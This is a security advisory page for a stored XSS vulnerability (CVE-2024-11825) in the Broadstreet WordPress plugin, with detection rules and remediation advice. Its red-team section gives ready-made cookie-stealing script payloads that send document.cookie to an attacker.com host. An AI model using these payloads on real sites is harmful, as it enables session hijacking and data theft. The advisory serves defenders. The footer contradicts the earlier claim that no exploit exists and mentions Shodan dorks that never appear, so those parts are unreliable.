CVE-2024-11825
Executive Summary
CVE-2024-11825 is a Stored Cross-Site Scripting (XSS) vulnerability in the Broadstreet plugin for WordPress, affecting all versions up to and including 1.51.0. The flaw resides in the zone parameter, where insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a victim user accesses a page containing the malicious payload. With a CVSS score of 6.4 (Medium), this vulnerability poses a significant risk to WordPress sites using the Broadstreet plugin, potentially leading to session hijacking, defacement, or data theft. No public exploit code or patch details are currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The Broadstreet plugin is distributed via the WordPress Plugin Directory and is not an NPM, PyPI, Go, or Ruby package. Therefore, no supply chain package security analysis is applicable beyond standard WordPress plugin vetting.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – Attacker needs Contributor-level access or higher.
- User Interaction (UI): None – No victim interaction is required for injection.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for stored XSS in a widely-used plugin makes this a credible threat for multi-author WordPress sites.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS (CWE-79) in the Broadstreet WordPress plugin. The zone parameter, likely used for ad zone configuration or shortcode handling, is not properly sanitized before being stored in the database and later rendered in a web page. When an authenticated user with Contributor-level privileges or higher (e.g., Author, Editor, Administrator) injects a malicious script into the zone parameter, the script is stored and executed in the browsers of any user viewing the affected page.
Attack Flow:
- Attacker logs in with a Contributor-level account.
- Attacker navigates to a page or post editor where the Broadstreet plugin's
zoneparameter is accepted (e.g., via a shortcode or custom field). - Attacker injects a payload like
<script>alert('XSS')</script>into thezoneparameter. - The plugin stores the payload without proper sanitization.
- When any user (including administrators or visitors) views the page, the script executes in their browser.
Root Cause: The plugin fails to use WordPress's built-in sanitization functions (e.g., sanitize_text_field(), esc_html(), or wp_kses()) on the zone parameter before output. This allows arbitrary HTML and JavaScript to be stored and rendered.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common remediation patterns.
Vulnerable Code (Example):
// In a Broadstreet plugin file (e.g., shortcode handler)
$zone = $_GET['zone'] ?? '';
echo "<div class='broadstreet-zone'>$zone</div>";
Patched Code (Example):
// Patched version with proper sanitization and escaping
$zone = sanitize_text_field($_GET['zone'] ?? '');
echo "<div class='broadstreet-zone'>" . esc_html($zone) . "</div>";
The patched version uses sanitize_text_field() to strip malicious input and esc_html() to safely encode output, preventing script execution.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- WordPress site with Broadstreet plugin <= 1.51.0.
- Authenticated account with Contributor-level access or higher.
- A page or post where the
zoneparameter is accepted (e.g., via shortcode[broadstreet zone="..."]).
Exploitation Steps:
- Log in to WordPress as a Contributor.
- Create a new post or edit an existing one.
- In the content editor, insert the Broadstreet shortcode with a malicious payload:
[broadstreet zone="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"] - Publish or update the post.
- Any user visiting the post will have their cookies exfiltrated to the attacker's server.
Alternative Payload (Session Hijacking):
<script>new Image().src='https://attacker.com/steal?cookie='+document.cookie;</script>
Blue Team (Defender)
Detection & Response:
- Monitor for unusual shortcode usage in posts/pages, especially from Contributor-level users.
- Review WordPress logs for suspicious
zoneparameter values containing<script>tags. - Use the detection rules below to identify exploitation attempts.
- If compromised, remove malicious content from the database and rotate all user sessions.
Indicators of Compromise (IOCs)
- File Indicators:
- Presence of the Broadstreet plugin in
/wp-content/plugins/broadstreet/(version <= 1.51.0).
- Presence of the Broadstreet plugin in
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains from WordPress server.
- POST/GET requests containing
zoneparameter with script tags.
- Log Indicators:
- WordPress audit logs showing shortcode insertion with suspicious
zonevalues. - Web server logs with
zone=<script>patterns.
- WordPress audit logs showing shortcode insertion with suspicious
- Database Indicators:
- Rows in
wp_postsorwp_postmetacontaining<script>tags inzone-related fields.
- Rows in
Detection Engineering
YARA Rule
rule Detect_Broadstreet_XSS_Payload {
meta:
description = "Detects stored XSS payloads targeting CVE-2024-11825 in WordPress Broadstreet plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-11825"
strings:
$payload1 = /\[broadstreet\s+zone\s*=\s*["'][^"']*<script[^>]*>/
$payload2 = /zone\s*=\s*["'][^"']*<script[^>]*>/
condition:
any of them
}
Sigma Rule
title: Stored XSS via Broadstreet Plugin Zone Parameter
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1a3d4f5e6c
status: experimental
description: Detects attempts to exploit CVE-2024-11825 by injecting scripts into the zone parameter of the Broadstreet WordPress plugin.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'zone='
cs-uri-query|re: 'zone=.*<script'
condition: selection
falsepositives:
- Legitimate use of script tags in zone parameter (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-11825 Broadstreet Plugin Stored XSS Attempt"; flow:to_server,established; content:"zone="; http_uri; pcre:"/zone=[^&]*<script/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Broadstreet plugin until a patch is available.
- Review and sanitize all existing posts/pages for malicious
zoneparameter values. - Restrict Contributor-level access to only trusted users.
Long-term Fix:
- Apply the official patch from Broadstreet when released (monitor their changelog).
- Implement a Web Application Firewall (WAF) rule to block
zoneparameters containing<script>tags. - Educate users with elevated privileges about the risks of XSS.
Workaround:
- Use a security plugin like Wordfence to add virtual patching for this vulnerability.
- Manually add the following code to your theme's
functions.phpto sanitize thezoneparameter:
add_filter('broadstreet_zone_output', 'esc_html');
Report generated by Valters IT DevSecOps & CTI Division
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.